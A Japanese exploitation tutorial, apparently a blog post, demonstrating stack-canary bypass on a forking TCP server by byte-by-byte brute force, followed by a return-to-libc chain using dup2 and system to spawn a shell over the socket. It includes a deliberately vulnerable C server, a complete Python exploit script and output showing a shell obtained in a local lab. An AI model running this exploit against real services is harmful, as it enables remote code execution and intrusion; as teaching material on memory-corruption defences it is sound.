byte-by-byte bruteforceによるSSP回避

「Improper Null Terminationを利用したSSP回避」では、stack canaryの先頭にあるNULLバイトを上書きすることでcanaryの読み出しを行った。 この方法のほかにも、ネットワークサーバがforkサーバとして実装されている場合、1バイトごとのブルートフォースでcanaryを読み出すこともできる。 ここでは、簡単なforkサーバを用意し、ブルートフォースによりSSPを回避してシェルを起動してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

クライアントからの接続を受け付けるごとにforkするTCPサーバを書いてみる。

/* echod.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

void handle_client(int c)
{
    char buf[100];
    int size;
    printf("[+] client socket fd = %d\n", c);
    printf("[+] canary = %08x\n", *(int *)(buf+sizeof(buf)));
    recv(c, &size, 4, 0);
    recv(c, buf, size, 0);
    send(c, buf, size, 0);
}

int main(int argc, char *argv[])
{
    int s, c;
    struct sockaddr_in addr;
    int port;
    int pid;

    port = atoi(argv[1]);

    s = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(s, (struct sockaddr *)&addr, sizeof(addr));

    listen(s, 5);

    while (1) {
        c = accept(s, NULL, NULL);
        pid = fork();
        if (pid == 0) {
            close(s);
            handle_client(c);
            send(c, "bye", 4, 0);
            close(c);
            return 0;
        } else {
            close(c);
        }
    }
}

このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。

ASLR無効、DEPSSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc echod.c

$ ./a.out 5000 &
[1] 28434

$ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000
[+] client socket fd = 4
[+] canary = 383a2600
AAAAbye

4バイトのデータを受信し、そのまま送り返せていることがわかる。 また、このときのクライアントソケットのファイルディスクリプタ番号は4、canaryの値は383a2600となっている。

子プロセスのstack canaryについて確認してみる

forkは親プロセスのプロセス空間をコピーすることで子プロセスを作る。そのため、canaryの値は親プロセスと子プロセスで同じになる。 つまり、何度forkしても子プロセスのcanaryの値はすべて同じ値となる。 このことは、上のプログラムで立ち上げたサーバに複数回接続することによって確認できる。

$ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000
[+] client socket fd = 4
[+] canary = 383a2600
AAAAbye

$ echo -e "\x04\x00\x00\x00BBBB" | nc localhost 5000
[+] client socket fd = 4
[+] canary = 383a2600
BBBBbye

常にcanaryの値が0x383a2600となっていることがわかる。 このことを利用すると、canaryの値を1バイトずつブルートフォースすることができる。 最初の1バイトは必ず0x00となるようになっているため、canaryの値は最大256*3 = 768回で得ることができる。

なお、execveはプロセス空間を新しいプログラムによって置き換える。そのため、stack canaryはexecveの前後で別の値となる。

エクスプロイトコードを書いてみる

上の内容をもとに、canaryの値を1バイトずつブルートフォースするエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
import socket
import telnetlib

base_libc = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"
addr_libc_dup2 = base_libc + 0x000dfba0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " dup2"
addr_pop = 0x80485e3                       # objdump -d a.out | grep -B2 ret
addr_pop2 = 0x80485e2                      # objdump -d a.out | grep -B2 ret

sock_fd = 4

canary = ''
while len(canary) < 4:
    for i in xrange(256):
        s = socket.create_connection(('localhost', 5000))
        buf = 'A' * bufsize + canary + chr(i)
        s.sendall(struct.pack('<I', len(buf)))
        s.sendall(buf)
        s.recv(len(buf))
        buf = s.recv(4)
        s.close()
        if 'bye' in buf:
            canary += chr(i)
            print "[+] canary byte found: %r" % chr(i)
            break

print "[+] canary = %r" % canary

buf = 'A' * bufsize
buf += canary
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_pop)          # we need to save [ebp+0x08] for following send()
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', addr_libc_dup2)
buf += struct.pack('<I', addr_pop2)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_libc_dup2)
buf += struct.pack('<I', addr_pop2)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
buf += struct.pack('<I', 0)

s = socket.create_connection(('localhost', 5000))
s.sendall(struct.pack('<I', len(buf)))
s.sendall(buf)
print "[+] received: %r" % s.recv(8192)

t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

このコードは、libcのベースアドレス、バッファサイズを順に引数に取る。 ブルートフォースにおいては、canaryの書き換え後通常通り "bye" が送られてくるかどうかで値が一致しているかどうかを判定している。 また、次に示すディスアセンブル結果から、recvした後にも[ebp+0x8]としてsendの第一引数となる変数 c (=4) が参照されていることがわかる。

$ objdump -d a.out | sed -n '/<handle_client>:/,/^$/p'
08048614 <handle_client>:
 ...
 8048693:       e8 98 fe ff ff          call   8048530 <recv@plt>
 8048698:       8b 45 8c                mov    eax,DWORD PTR [ebp-0x74]
 804869b:       c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 80486a2:       00
 80486a3:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486a7:       8d 45 90                lea    eax,[ebp-0x70]
 80486aa:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80486ae:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486b1:       89 04 24                mov    DWORD PTR [esp],eax
 80486b4:       e8 97 fe ff ff          call   8048550 <send@plt>
 80486b9:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80486bc:       65 33 05 14 00 00 00    xor    eax,DWORD PTR gs:0x14
 80486c3:       74 05                   je     80486ca <handle_client+0xb6>
 80486c5:       e8 c6 fd ff ff          call   8048490 <__stack_chk_fail@plt>
 80486ca:       c9                      leave
 80486cb:       c3                      ret

このため、スタックバッファオーバーフローさせた後も[ebp+0x8]に4が入るように調整する必要がある。 その後、dup2でソケットのファイルディスクリプタを標準入出力に複製した後system関数からシェルを起動する。 また、エクスプロイトコード側では最後に端末からの入出力をソケットに繋ぐ必要があるが、ここではtelnetlibライブラリを利用してこれを行っている。

このコードを実行すると、サーバを起動した端末ではSSPによって出力されるエラーメッセージが大量に流れる。 そこで別の端末から、引数をセットしエクスプロイトコードを実行する。 ここで、libcのベースアドレスはgdbなどを利用して調べる。

$ python exploit.py 0xb7e2b000 100
[+] canary byte found: '\x00'
[+] canary byte found: '&'
[+] canary byte found: ':'
[+] canary byte found: '8'
[+] canary = '\x00&:8'
[+] received: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00&:8AAAAAAAAAAAA\xe3\x85\x04\x08\x04\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x00\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x01\x00\x00\x000\xa4\xe6\xb7\xb0\xdf\xe5\xb7\x98\xcd\xf8\xb7\x00\x00\x00\x00'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

ブルートフォースによりcanaryの値が得られ、シェルが起動できていることが確認できた。

関連リンク